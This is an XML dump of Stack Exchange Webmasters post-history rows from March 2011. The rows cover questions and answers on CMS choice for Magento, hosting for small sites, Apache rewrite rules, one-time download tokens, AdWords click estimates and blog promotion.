  <row Id="25339" PostHistoryTypeId="3" PostId="11227" RevisionGUID="1a455b5f-2b03-43a3-aa1f-92b71c06d5be" CreationDate="2011-03-25T19:04:56.990" UserId="6351" Text="&lt;mediawiki&gt;" />
  <row Id="25340" PostHistoryTypeId="2" PostId="11228" RevisionGUID="194db93c-43eb-4673-9196-838ec4c49ace" CreationDate="2011-03-25T19:07:48.153" UserId="4945" Text="Since there are lots of ways to do this here are some common sense options:&#xD;&#xA;&#xD;&#xA;1. Find a theme that only activates when a user accesses the site from a mobile browser.&#xD;&#xA;2. Since Mobile Safari is a very popular browser, you will want to add relevant tags to allow resizing, set default orientation, etc. You can find out more information [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/library/safari/navigation/" />
  <row Id="25341" PostHistoryTypeId="2" PostId="11229" RevisionGUID="ac47500d-aee4-4a04-90ec-a801f329172b" CreationDate="2011-03-25T19:48:34.487" UserId="6352" Text="I'm looking to create a Java app that gets spawned via the browser. I'm not sure if I'm going with applet or web-start, but that's beside the point. It will not (at least, not yet) be a mobile app, so that's not a concern.&#xD;&#xA;&#xD;&#xA;I estimate the cost of the app will be about 1 cent per user-hour, so I'm considering some advertising to offset those costs. &#xD;&#xA;&#xD;&#xA;I would like to make the ads be right in the application.&#xD;&#xA;&#xD;&#xA;What options exist for Java web-apps in terms of advertising?&#xD;&#xA;&#xD;&#xA;Thanks for your input!" />
  <row Id="25342" PostHistoryTypeId="1" PostId="11229" RevisionGUID="ac47500d-aee4-4a04-90ec-a801f329172b" CreationDate="2011-03-25T19:48:34.487" UserId="6352" Text="Advertising in a Java app (not mobile)" />
  <row Id="25343" PostHistoryTypeId="3" PostId="11229" RevisionGUID="ac47500d-aee4-4a04-90ec-a801f329172b" CreationDate="2011-03-25T19:48:34.487" UserId="6352" Text="&lt;advertising&gt;&lt;web-applications&gt;&lt;java&gt;" />
  <row Id="25345" PostHistoryTypeId="2" PostId="11231" RevisionGUID="0ba629ba-db6c-42d4-b4c9-410fc258f8a0" CreationDate="2011-03-24T21:06:45.373" UserId="6341" Text="I am working on a project for 3 niche stores built on magento (using magento's multi-store function)  that each get roughly 50k unique visitors a day.  The sites don't currently have a blog or forum or any social networking aspects.  &#xD;&#xA;&#xD;&#xA;Would like to add a cms to each site that can be centrally run and would like it to take over the front end content from Magento.  Also would like it to maintain an online blog/publication of sorts with videos, articles, and the like with privileges to edit the content given to a dozen or so people with different privileges.  Want to add a forum to each site that is fairly robust and to possibly add some social networking aspects down the road, so extandability and available plugins/mods in each cms is important.&#xD;&#xA;&#xD;&#xA;Other than shared login between the forums,blog/publication and store, would like to be able to integrate some content from the forums and blog/publication into the store as well.&#xD;&#xA;&#xD;&#xA;After researching this a bit, I am inclined towards Drupal, but I haven't found any modules to integrate it with Magento.  Also, since the blog content will be done by about a dozen nontechnical people, I want something that is very easy to work with.  Lastly, since the site gets a good amount of traffic, speed and security are very important.&#xD;&#xA;&#xD;&#xA;What CMS would you recommend integrating in this context?  Deciding between Drupal, Wordpress and ModX.  Also Plone as well.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="25346" PostHistoryTypeId="1" PostId="11231" RevisionGUID="0ba629ba-db6c-42d4-b4c9-410fc258f8a0" CreationDate="2011-03-24T21:06:45.373" UserId="6341" Text="Adding a CMS to an existing Magento shop" />
  <row Id="25347" PostHistoryTypeId="3" PostId="11231" RevisionGUID="0ba629ba-db6c-42d4-b4c9-410fc258f8a0" CreationDate="2011-03-24T21:06:45.373" UserId="6341" Text="&lt;wordpress&gt;&lt;drupal&gt;&lt;magento&gt;&lt;cms&gt;" />
  <row Id="25348" PostHistoryTypeId="17" PostId="11231" RevisionGUID="e7b5f213-32d4-438e-bbcc-88471519fede" CreationDate="2011-03-25T20:29:31.213" UserId="-1" Comment="from http://stackoverflow.com/questions/5425529/adding-a-cms-to-an-existing-magento-shop" Text="" />
  <row Id="25349" PostHistoryTypeId="25" PostId="11225" RevisionGUID="7e7f12d4-c718-4a74-9bcd-184284e3c1b5" CreationDate="2011-03-25T20:30:30.237" Comment="http://twitter.com/#!/StackWebmasters/status/51380456997916672" />
  <row Id="25350" PostHistoryTypeId="2" PostId="11232" RevisionGUID="23f5d589-4b46-4bee-b15d-cb21bb2243e5" CreationDate="2011-03-25T21:06:29.520" UserId="6351" Text="Adding this to LocalSettings.php did the trick.  It's probably better to not use unlimited, but pick sane defaults instead of &quot;unlimited&quot;.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$wgMaxShellMemory   = unlimited;&#xD;&#xA;$wgMaxShellFileSize = unlimited;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="25351" PostHistoryTypeId="17" PostId="11234" RevisionGUID="a26c0ae8-bad5-4a27-a164-5c55ec621dd4" CreationDate="2011-03-25T21:11:17.263" UserId="-1" Comment="from http://stackoverflow.com/questions/5426227/how-is-apples-enormously-image-heavy-site-served-so-fast/5426264#5426264" Text="" />
  <row Id="25352" PostHistoryTypeId="2" PostId="11234" RevisionGUID="414ca1b6-58ee-4ec7-8626-db6705e2ab8a" CreationDate="2011-03-24T22:18:49.503" UserDisplayName="Jeremy Massel" Text="They have access to an Akamai CDN network. As well, they've optimized the site to download images as they're viewed, so until you request them, you're not using bandwidth. If you deliberately slow down your connection, you'll notice a loading spinner while that image loads. If you leave the page long enough, it's &gt; 30MB. This is all accomplished with deferred loading&#xD;&#xA;&#xD;&#xA;The CDN is probably the biggest thing though. High throughput, low latency will always make things load REALLY quickly" />
  <row Id="25353" PostHistoryTypeId="2" PostId="11233" RevisionGUID="45612f02-de81-432a-a858-2e16314d6946" CreationDate="2011-03-24T22:13:49.977" UserDisplayName="Jon" Text="Took a profile of the [&quot;Smart Cover&quot;](http://www.apple.com/ipad/smart-cover) page on Apple's site using Pingdom.  It's requesting 241 objects for a total page weight of 3472.6 KB! An absolute mammoth.  &#xD;&#xA;&#xD;&#xA;How does this possibly translate into a 4-second download time?  I'm not even on a great connection and it still loads in seconds using my clogged-up DSL.  That interactive graphic towards the middle loads over 90 images per selected cover, at around 40k each.  Still, it's done at blazing speeds.&#xD;&#xA;&#xD;&#xA;How do they do it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25354" PostHistoryTypeId="1" PostId="11233" RevisionGUID="45612f02-de81-432a-a858-2e16314d6946" CreationDate="2011-03-24T22:13:49.977" UserDisplayName="Jon" Text="How is Apple's enormously image-heavy site served so fast?" />
  <row Id="25355" PostHistoryTypeId="3" PostId="11233" RevisionGUID="45612f02-de81-432a-a858-2e16314d6946" CreationDate="2011-03-24T22:13:49.977" UserDisplayName="Jon" Text="&lt;performance&gt;&lt;apple&gt;&lt;speed&gt;&lt;cdn&gt;" />
  <row Id="25356" PostHistoryTypeId="17" PostId="11233" RevisionGUID="4a3d70fe-aa2a-4b9c-97f5-7603b030c211" CreationDate="2011-03-25T21:11:17.263" UserId="-1" Comment="from http://stackoverflow.com/questions/5426227/how-is-apples-enormously-image-heavy-site-served-so-fast" Text="" />
  <row Id="25357" PostHistoryTypeId="2" PostId="11235" RevisionGUID="be82d7a6-e996-458b-9719-0996ef52a9c8" CreationDate="2011-03-25T21:12:28.047" UserId="6346" Text="I would recommend that you **avoid** [Host Clear][1]. I used them for a while and I wish I had done some better research. They provide very limited software on their webservers and many features that are free on other hosting plans (like GoDaddy) cost silly amounts of money each month.&#xD;&#xA;&#xD;&#xA;That being said, my current webhosting provider of choice is [GoDaddy][2]. They know what they are doing there.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostclear.com&#xD;&#xA;  [2]: http://www.godaddy.com" />
  <row Id="25358" PostHistoryTypeId="2" PostId="11236" RevisionGUID="2dbbeeee-3094-4c92-a314-152b4bd3ca85" CreationDate="2011-03-25T21:42:41.580" UserId="6356" Text="If you turn on MultiViews, you can do this, as it will search for request-uri.* first before running the RewriteRule.&#xD;&#xA;&#xD;&#xA;    Options +MultiViews&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^index\.php$ - [L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^([^/]+)/?$ index.php?Agent=$1 [L]" />
  <row Id="25359" PostHistoryTypeId="4" PostId="11210" RevisionGUID="17b66a50-9515-40eb-9a7f-e06c7d3dbf2b" CreationDate="2011-03-25T23:08:20.320" UserId="4945" Comment="Corrected spelling in title. Penilise = Penalize. Capitalized &quot;Google&quot;" Text="Will Google penalize me for hiding header text?" />
  <row Id="25360" PostHistoryTypeId="24" PostId="11210" RevisionGUID="17b66a50-9515-40eb-9a7f-e06c7d3dbf2b" CreationDate="2011-03-25T23:08:20.320" Comment="Proposed by 4945 approved by 1253 edit id of 80" />
  <row Id="25361" PostHistoryTypeId="25" PostId="11227" RevisionGUID="c205585a-ec0f-429a-9c3d-28cf95626dbe" CreationDate="2011-03-25T23:30:30.770" Comment="http://twitter.com/#!/StackWebmasters/status/51425757527949312" />
  <row Id="25362" PostHistoryTypeId="2" PostId="11237" RevisionGUID="8c0dd02d-cf77-4711-80c8-f2154d7a213e" CreationDate="2011-03-25T23:33:03.670" UserId="6358" Text="I have a url say for ex....xyz.com/form1.html&#xD;&#xA;Now i need to hide this url since I dont want people to keep coming back to this url and using it.&#xD;&#xA;what I mean is I need this url to be use-able only once per visit.&#xD;&#xA;On this url a form resides which sends out an email after submission to get an attachment.&#xD;&#xA;After a user is directed to this url ie:xyz.com/form.html that is after his payment from paypal so I need that user to use that url just once .&#xD;&#xA;Next time when next user comes he should see the same form but that url should be masked or should expire in terms of validity sort of ....The Main URL remains same but it should expire or get masked and if some copy pastes that masked url it should work&#xD;&#xA;how can this happen?" />
  <row Id="25363" PostHistoryTypeId="1" PostId="11237" RevisionGUID="8c0dd02d-cf77-4711-80c8-f2154d7a213e" CreationDate="2011-03-25T23:33:03.670" UserId="6358" Text="hide url from users" />
  <row Id="25364" PostHistoryTypeId="3" PostId="11237" RevisionGUID="8c0dd02d-cf77-4711-80c8-f2154d7a213e" CreationDate="2011-03-25T23:33:03.670" UserId="6358" Text="&lt;url&gt;&lt;websites&gt;" />
  <row Id="25365" PostHistoryTypeId="2" PostId="11238" RevisionGUID="94873703-7624-427b-bdb8-c0e6034d3414" CreationDate="2011-03-25T23:53:24.653" UserId="1253" Text="You need to have that page require a token to work. If that token is missing the page will not load (or takes the user to an error message). If a token is present it is matched against a database of tokens to see if it is valid and not expired or used. If it is expired or already used show the error message. If it is valid then allow them to complete the form and download the file. Then update the database to reflect it as being used and no longer is valid." />
  <row Id="25366" PostHistoryTypeId="5" PostId="11237" RevisionGUID="a8e8825a-31ee-4cf7-bf14-ab01dc8c05f8" CreationDate="2011-03-25T23:56:30.923" UserId="1253" Comment="Removed &quot;tag&quot;, added &quot;security&quot; tag, rewrote title and text" Text="I have a URL say for example `http://www.xyz.com/form1.html`. Now i need to hide this URL since I dont want people to keep coming back to this URL and using it. What I mean is I need this URL to be usable only once per visit. &#xD;&#xA;&#xD;&#xA;On this URL a form resides which sends out an email after submission to get an attachment. After a user is directed to this URL that is after his payment from paypal so I need that user to use that URL just once. Next time when next user comes he should see the same form but that URL should be masked or should expire in terms of validity sort of. The Main URL remains same but it should expire or get masked and if some copy pastes that masked URL it should work.&#xD;&#xA;&#xD;&#xA;How can I make this happen?" />
  <row Id="25367" PostHistoryTypeId="4" PostId="11237" RevisionGUID="a8e8825a-31ee-4cf7-bf14-ab01dc8c05f8" CreationDate="2011-03-25T23:56:30.923" UserId="1253" Comment="Removed &quot;tag&quot;, added &quot;security&quot; tag, rewrote title and text" Text="How Do I Prevent Users from Accessing a Page More Then Once?" />
  <row Id="25368" PostHistoryTypeId="6" PostId="11237" RevisionGUID="a8e8825a-31ee-4cf7-bf14-ab01dc8c05f8" CreationDate="2011-03-25T23:56:30.923" UserId="1253" Comment="Removed &quot;tag&quot;, added &quot;security&quot; tag, rewrote title and text" Text="&lt;security&gt;&lt;url&gt;" />
  <row Id="25369" PostHistoryTypeId="5" PostId="11238" RevisionGUID="57230b1c-3747-4d53-9caa-5fc2692a3157" CreationDate="2011-03-26T00:05:09.997" UserId="1253" Comment="added 921 characters in body" Text="You need to have that page require a token to work. If that token is missing the page will not load (or takes the user to an error message). If a token is present it is matched against a database of tokens to see if it is valid and not expired or used. If it is expired or already used show the error message. If it is valid then allow them to complete the form and download the file. Then update the database to reflect it as being used and no longer is valid.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;You send the user to Paypal to make payment. Before you do you create a unique token for them and place it in your database.&#xD;&#xA;&#xD;&#xA;The user gets redirected to the form after making payment at Paypal. The URL they are sent to will resemble something like this: `http://www.xyz.com/form1.php?token=anc4wqfnpq4qp3y`. `form1.php` is the form and `anc4wqfnpq4qp3y` is the unique token for that user's one visit.&#xD;&#xA;&#xD;&#xA;When that page loads it will check the database to see if that token:&#xD;&#xA;&#xD;&#xA; 1. is present&#xD;&#xA; 2. is no expired&#xD;&#xA; 3. has not been used&#xD;&#xA;&#xD;&#xA;If it is invalid you can show them an error message. If it is valid then they can complete the form normally. &#xD;&#xA;&#xD;&#xA;Once they complete the form and get the contents you deliver you need to update your database to mark that token as invalid.&#xD;&#xA;&#xD;&#xA;To make it even more secure you can match the token and the user's ID to make sure both match but that's up to you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25370" PostHistoryTypeId="2" PostId="11239" RevisionGUID="320a0dfd-bc30-4cd7-875e-8a7af5e71e41" CreationDate="2011-03-26T01:50:12.613" UserId="4932" Text="I am not so much worried about the inevitable spammers, but I would like to see more comments from people with something worthwhile to say. How can we entice them to talk?" />
  <row Id="25371" PostHistoryTypeId="1" PostId="11239" RevisionGUID="320a0dfd-bc30-4cd7-875e-8a7af5e71e41" CreationDate="2011-03-26T01:50:12.613" UserId="4932" Text="What can we do to promote meaningful comments on our blog?" />
  <row Id="25372" PostHistoryTypeId="3" PostId="11239" RevisionGUID="320a0dfd-bc30-4cd7-875e-8a7af5e71e41" CreationDate="2011-03-26T01:50:12.613" UserId="4932" Text="&lt;blog&gt;&lt;blogging&gt;" />
  <row Id="25373" PostHistoryTypeId="25" PostId="11237" RevisionGUID="4ce0555f-d78e-416a-80a5-68bed0a0ae2e" CreationDate="2011-03-26T02:30:31.720" Comment="http://twitter.com/#!/StackWebmasters/status/51471060142530560" />
  <row Id="25374" PostHistoryTypeId="2" PostId="11240" RevisionGUID="e9deecaa-26c5-444b-a8c9-3d0a4770ba5b" CreationDate="2011-03-26T03:40:56.297" UserId="4306" Text="I haven't used GateIn, but we've used Liferay For a couple of production sites and have been pretty happy with it.&#xD;&#xA;&#xD;&#xA;Enterprise features that we've used extensively:&#xD;&#xA;&#xD;&#xA;- multi-language&#xD;&#xA;- multi-site (for serving web and mobile versions)&#xD;&#xA;- structured content (for templating shops, restaurants, etc)&#xD;&#xA;&#xD;&#xA;Performance has been troublesome for us in the past.  There is/was a bug in the version of Liferay 6 we were using that caused database connections to be exhausted which would bring down the admin site and required a reboot. But once patched db performance was good. I believe ythis bug is resolved in the latest version anyway.&#xD;&#xA;&#xD;&#xA;Tuning of Apache and Tomcat also took some work.  OOTB Apache was spawning a lot of processes which chewed up memory. Again, once the tuning was complete we had no further issues and are now seeing 100% uptime.&#xD;&#xA;&#xD;&#xA;Hope this helps.  If you need any specifics on the bugs, I can probably dig them out." />
  <row Id="25376" PostHistoryTypeId="2" PostId="11241" RevisionGUID="abd68470-73be-4dff-9c6a-ae894574386d" CreationDate="2011-03-26T04:16:19.587" UserId="1253" Text="At the end of your post ask questions like, &quot;What do you think&quot;? or &quot;Did I miss anything&quot;? Ask for opinions and other perspectives. If it is a technical post see if anyone can offer an alternative to your content. Basically, give them something to discuss." />
  <row Id="25377" PostHistoryTypeId="25" PostId="11239" RevisionGUID="3dc16778-c92a-479b-8c04-7edee5ca50d1" CreationDate="2011-03-26T05:30:32.517" Comment="http://twitter.com/#!/StackWebmasters/status/51516362115399681" />
  <row Id="25378" PostHistoryTypeId="25" PostId="11233" RevisionGUID="3a7cdd17-6279-4c5f-8d71-3cb505b67f72" CreationDate="2011-03-26T08:30:33.153" Comment="http://twitter.com/#!/StackWebmasters/status/51561663052251136" />
  <row Id="25379" PostHistoryTypeId="25" PostId="11182" RevisionGUID="07ee71aa-c025-4efd-a698-8064973b3273" CreationDate="2011-03-26T11:30:33.123" Comment="http://twitter.com/#!/StackWebmasters/status/51606961493512193" />
  <row Id="25380" PostHistoryTypeId="25" PostId="11223" RevisionGUID="6b47a211-eec5-4d1e-89a5-e2357b0df77c" CreationDate="2011-03-26T14:30:32.610" Comment="http://twitter.com/#!/StackWebmasters/status/51652258038943744" />
  <row Id="25381" PostHistoryTypeId="2" PostId="11242" RevisionGUID="7da907c4-b06e-4d47-b284-a94d2761178b" CreationDate="2011-03-26T15:45:43.223" UserId="6360" Text="I have a website for a company with multiple locations across a large state. Each location offers the same services. The corporate site lists all of the services offered in detail, and each location page does not. &#xD;&#xA;&#xD;&#xA;Client wants to rank for searches like 'City Name Service X.' I'm thinking of a simple 'Services' page for each location, so that the Title tag says 'City Name Service X' with some descriptive text on the page and a list of links to the corporate pages that have the full descriptions of the service. &#xD;&#xA;&#xD;&#xA;My concern is that either:&#xD;&#xA;&#xD;&#xA;1) There won't be enough content on the page to rank for the search&#xD;&#xA;&#xD;&#xA;2) The site will get hit with a duplicate content penalty for having 'city name service x' repeated 10 times across the site, with city name being the only thing that changes. &#xD;&#xA;&#xD;&#xA;Any suggestions on how I might approach this differently?" />
  <row Id="25382" PostHistoryTypeId="1" PostId="11242" RevisionGUID="7da907c4-b06e-4d47-b284-a94d2761178b" CreationDate="2011-03-26T15:45:43.223" UserId="6360" Text="How to approach same services, multiple locations for SEO purposes?" />
  <row Id="25383" PostHistoryTypeId="3" PostId="11242" RevisionGUID="7da907c4-b06e-4d47-b284-a94d2761178b" CreationDate="2011-03-26T15:45:43.223" UserId="6360" Text="&lt;seo&gt;&lt;google&gt;&lt;google-local-search&gt;" />
  <row Id="25384" PostHistoryTypeId="2" PostId="11243" RevisionGUID="cd2cd695-3050-44fd-9d69-0aa671e207a4" CreationDate="2011-03-26T16:04:10.830" UserId="4932" Text="I see more and more blogs out there with guest bloggers. What is the rationale? Is it better to have a guest blogger, be a guest blogger, or have a reciprocal arrangement? Should you limit the number of guest bloggers or seek some minimum number?" />
  <row Id="25385" PostHistoryTypeId="1" PostId="11243" RevisionGUID="cd2cd695-3050-44fd-9d69-0aa671e207a4" CreationDate="2011-03-26T16:04:10.830" UserId="4932" Text="Question about guest bloggers" />
  <row Id="25386" PostHistoryTypeId="3" PostId="11243" RevisionGUID="cd2cd695-3050-44fd-9d69-0aa671e207a4" CreationDate="2011-03-26T16:04:10.830" UserId="4932" Text="&lt;blog&gt;&lt;blogging&gt;" />
  <row Id="25387" PostHistoryTypeId="2" PostId="11244" RevisionGUID="de5b65fa-2628-4a80-a5f4-4a9f87d36689" CreationDate="2011-03-26T17:12:32.413" UserId="4487" Text="I am about to take on a client who is a mutual friend of someone I know. He has a legit business, but one of his competitors somehow complained to google and got his whole site blocked. &#xD;&#xA;&#xD;&#xA;He's starting a different venture now, but I worry - what if this happened to another site I am hosting on a vps for example. Would the fact that I have a blocked site on my server affect my other clients? Could their sites be blocked too for using the same IP address? What are the risks involved?" />
  <row Id="25388" PostHistoryTypeId="1" PostId="11244" RevisionGUID="de5b65fa-2628-4a80-a5f4-4a9f87d36689" CreationDate="2011-03-26T17:12:32.413" UserId="4487" Text="Will the rest of my clients be affected if google blocks a site on the same server?" />
  <row Id="25389" PostHistoryTypeId="3" PostId="11244" RevisionGUID="de5b65fa-2628-4a80-a5f4-4a9f87d36689" CreationDate="2011-03-26T17:12:32.413" UserId="4487" Text="&lt;seo&gt;&lt;domains&gt;&lt;web-hosting&gt;&lt;server&gt;&lt;google-search&gt;" />
  <row Id="25390" PostHistoryTypeId="25" PostId="11243" RevisionGUID="9703be86-80ac-48f9-9142-2a55485bfcd1" CreationDate="2011-03-26T17:30:33.410" Comment="http://twitter.com/#!/StackWebmasters/status/51697558858366976" />
  <row Id="25394" PostHistoryTypeId="2" PostId="11246" RevisionGUID="dd62dc11-cc14-4333-9947-f62906be4b1d" CreationDate="2011-03-26T19:06:13.483" UserId="6362" Text="I'm newbie about seo and adwords, &#xD;&#xA;I've just read and view some docs introducing me to adwords, &#xD;&#xA;&#xD;&#xA;so I have to promote this site htp://www.bulldozer-mobile.com, &#xD;&#xA;&#xD;&#xA;my site is for phone 7 application and I've just develop an application &#xD;&#xA;&quot;fart and burp&quot; for phone 7,&#xD;&#xA;so accordings my guide I have use keyword tools (google) &#xD;&#xA;I've try to search my words:&#xD;&#xA;&#xD;&#xA;phone 7 apps&#xD;&#xA;phone 7 app&#xD;&#xA;fart phone 7&#xD;&#xA;fart app for phone 7&#xD;&#xA;&#xD;&#xA;all of this is for United States and UK&#xD;&#xA;but all words that I search return me 0 click and 0,05$ for 1 position&#xD;&#xA;or at the best 13-18 click for all world&#xD;&#xA;&#xD;&#xA;there's a way to achieve 50 click a day? &#xD;&#xA;my budget is $70 just for start&#xD;&#xA;&#xD;&#xA;can anyone help me? thanks" />
  <row Id="25395" PostHistoryTypeId="1" PostId="11246" RevisionGUID="dd62dc11-cc14-4333-9947-f62906be4b1d" CreationDate="2011-03-26T19:06:13.483" UserId="6362" Text="Adwords SEO question" />
  <row Id="25396" PostHistoryTypeId="3" PostId="11246" RevisionGUID="dd62dc11-cc14-4333-9947-f62906be4b1d" CreationDate="2011-03-26T19:06:13.483" UserId="6362" Text="&lt;seo&gt;&lt;adwords&gt;" />
  <row Id="25397" PostHistoryTypeId="5" PostId="11246" RevisionGUID="2958eda5-4778-40dd-8bf3-c9ee6ba60671" CreationDate="2011-03-26T19:30:15.883" UserId="108" Comment="deleted 67 characters in body" Text="I have to promote this site, http://www.bulldozer-mobile.com.&#xD;&#xA;&#xD;&#xA;My site is for phone 7 application and I've just develop an application &#xD;&#xA;&quot;fart and burp&quot; for phone 7. So according to my guide I have use keyword tools (Google) to see what keywords to make ads for. &#xD;&#xA;I've try to search my words:&#xD;&#xA;&#xD;&#xA;phone 7 apps&#xD;&#xA;phone 7 app&#xD;&#xA;fart phone 7&#xD;&#xA;fart app for phone 7&#xD;&#xA;&#xD;&#xA;All of this is for United States and UK but all words that I search return me 0 click and 0,05$ for 1 position or at the best 13-18 click for all world.&#xD;&#xA;&#xD;&#xA;Is there a way to achieve 50 clicks a day? &#xD;&#xA;my budget is $70 just for start&#xD;&#xA;&#xD;&#xA;can anyone help me? thanks" />
  <row Id="25398" PostHistoryTypeId="2" PostId="11247" RevisionGUID="dac4205b-f265-4c6b-9d89-87587fcb1034" CreationDate="2011-03-26T19:40:41.413" UserId="108" Text="From what it sounds like, no you will not be able to get 50 clicks a day through the phrases you listed from Google's keyword tool. The Google Keyword Tool shows you searches per day for a given keyword phrase or set of keyword phrases. &#xD;&#xA;&#xD;&#xA;This is what you need to look at to understand if you will get 50 clicks a day and the cost:&#xD;&#xA;&#xD;&#xA;Clicks Per Day = Sum of all[avg # of keyword searches daily * CTR(Click Through Rate)]&#xD;&#xA;Cost Per Day =  Sum of all[avg # of keyword searches daily * CTR(Click Through Rate) * CPC (Cost Per Click)]&#xD;&#xA;&#xD;&#xA;The toughest thing to guess about is your Click Through Rate. In general I have seen Click Through rates between 0%-5%.  Usually exact keyword matches are around 3%-4% and things drop off from their.&#xD;&#xA;&#xD;&#xA;So for your example, lets assume a 4% click through rate:&#xD;&#xA;&#xD;&#xA;[0 Searches * .04] + [15 Searches * .04] = .6 Clicks per day&#xD;&#xA;[0 Searches * .04 * $.05] + [15 Searches * .04 * $.05] = $.03 cost daily&#xD;&#xA;&#xD;&#xA;I would suggest based off of that that you look for a much broader set of keyword phrases that match what your product does so you can get more Google ad placements and thus get some click throughs." />
  <row Id="25399" PostHistoryTypeId="2" PostId="11248" RevisionGUID="35506161-949c-47d4-a664-0305fc65d25b" CreationDate="2011-03-26T19:53:35.100" UserId="6363" Text="I’ve developed a portfolio website for myself using Plone 4, and I’m looking for someplace to host it. Most Plone hosting services seem to focus on large, corporate deployments, but I need something that I can afford on a very limited budget and fits a small, single-admin website.&#xD;&#xA;&#xD;&#xA;My understanding is that my basic options are thus:&#xD;&#xA;&#xD;&#xA;1. I can go with a hosting service that specifically provides Plone. I know of WebFaction, but what others exist? Also, I’d have two stipulations for a Plone hosting service: (a) It needs to use Plone 4, for which I’ve developed my site, and (b) it needs to allow me SSH access to a home directory (including the Plone configuration), so that I may use my custom development eggs and such.&#xD;&#xA;&#xD;&#xA;2. I could use a VPS hosting service. What are my options here? Again, I need something cheap and scaled to my level.&#xD;&#xA;&#xD;&#xA;3. I could use Amazon EC2 or a similar service (please tell me of any) and pay by the tiniest unit of data. I’m a little scared of this because I have no idea how to do a cost-benefit analysis between this and a regular VPS host. The advantage of this approach would be that I only pay for what I use, making it very scalable, but I don’t know how the overall cost would compare to any VPS host under similar circumstances. What factors enter into the cost of Amazon EC2? What can I expect to pay under either option for regular traffic for a new website? Which one is more desirable for when a rush of visitors drive up my bandwidth bill?&#xD;&#xA;&#xD;&#xA;One last note: I know Plone isn’t common for websites for individuals, but please don’t try to talk me out of it here; that’s a completely different subject. For now, assume I’m sticking with Plone for good. Also, I have seen the &lt;a href=&quot;http://plone.org/support/hosting-providers&quot;&gt;Plone hosting services list on Plone.org&lt;/a&gt;—it’s twenty pages long, and the first page was nothing but professional Plone consulting services that sometimes offer hosting for business clients. So, that wasn’t much help.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="25400" PostHistoryTypeId="1" PostId="11248" RevisionGUID="35506161-949c-47d4-a664-0305fc65d25b" CreationDate="2011-03-26T19:53:35.100" UserId="6363" Text="What are the options for hosting a small Plone site?" />
  <row Id="25401" PostHistoryTypeId="3" PostId="11248" RevisionGUID="35506161-949c-47d4-a664-0305fc65d25b" CreationDate="2011-03-26T19:53:35.100" UserId="6363" Text="&lt;web-hosting&gt;&lt;vps&gt;" />
  <row Id="25402" PostHistoryTypeId="2" PostId="11249" RevisionGUID="2fe27876-8567-476b-929b-3a7e01095203" CreationDate="2011-03-26T20:11:04.943" UserId="5849" Text="I use Webfaction for this purpose and love it. It works wonderfully. It is also super easy to use for multiple websites. It also gives full ssh access. " />
  <row Id="25403" PostHistoryTypeId="6" PostId="11248" RevisionGUID="7fe7ddc9-4c26-4b13-b8cb-d83385aece3d" CreationDate="2011-03-26T20:12:34.457" UserId="6363" Comment="added a tag" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;amazon-ec2&gt;" />
  <row Id="25404" PostHistoryTypeId="2" PostId="11250" RevisionGUID="5468263a-16b2-4cd2-b3a5-afa4be419689" CreationDate="2011-03-26T20:15:08.357" UserId="5849" Text="Guest Blogging is a way for new bloggers to get found and for established bloggers to include more varied content on their site (varied points of view and such). It also gives the writer a backlink to their site. &#xD;&#xA;&#xD;&#xA;I think that how to balence having guest posts and guest posting yourself depends on you level of establishment of your blog in the community. If you are newer to blogging, look at finding guest posting opportunities, as you get established you can look into post swapping, and once you are really established, give back by letting newer bloggers guest post on your blog. " />
  <row Id="25405" PostHistoryTypeId="25" PostId="11246" RevisionGUID="349db494-d385-4c76-a0b3-6e3584b9f5f7" CreationDate="2011-03-26T20:30:33.347" Comment="http://twitter.com/#!/StackWebmasters/status/51742857207365633" />
  <row Id="25406" PostHistoryTypeId="2" PostId="11251" RevisionGUID="f7b4333b-1ddb-444a-b244-af2dbb3bde92" CreationDate="2011-03-26T22:57:41.040" UserId="5806" Text="Most of my small customers are hosted with [Total Choice Hosting][1].&#xD;&#xA;&#xD;&#xA;They have the very best service I have experienced and superb reliability.&#xD;&#xA;The pricing of their small packages is excellent, starting at $55/year.&#xD;&#xA;&#xD;&#xA;The price goes up significantly if you have a large number of websites &#xD;&#xA;since they make you pay per site. Because of that my own collection of&#xD;&#xA;sites moved away from them but I miss the reliability! They do have&#xD;&#xA;reseller packages but those did not match my needs unfortunately.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.totalchoicehosting.com/" />
  <row Id="25407" PostHistoryTypeId="25" PostId="11242" RevisionGUID="c62a974b-3018-4647-ad28-72ab0f3863a0" CreationDate="2011-03-26T23:30:32.960" Comment="http://twitter.com/#!/StackWebmasters/status/51788154235138049" />
  <row Id="25408" PostHistoryTypeId="2" PostId="11252" RevisionGUID="6fd0d42a-5ca0-47e7-b64d-39263209c7f2" CreationDate="2011-03-26T23:49:42.990" UserId="5809" Text="I recently launched http://www.comehike.com and promotion has not been easy. I currently have $0 promotion budget and am wondering where are good places to get free links, and some traffic?  &#xD;&#xA;&#xD;&#xA;Any tips or tricks would be appreciated?  An example of what I am looking for is something like diystartups.com" />
  <row Id="25409" PostHistoryTypeId="1" PostId="11252" RevisionGUID="6fd0d42a-5ca0-47e7-b64d-39263209c7f2" CreationDate="2011-03-26T23:49:42.990" UserId="5809" Text="Free Places to List a New Site?" />
  <row Id="25410" PostHistoryTypeId="3" PostId="11252" RevisionGUID="6fd0d42a-5ca0-47e7-b64d-39263209c7f2" CreationDate="2011-03-26T23:49:42.990" UserId="5809" Text="&lt;seo&gt;&lt;marketing&gt;&lt;startup&gt;" />
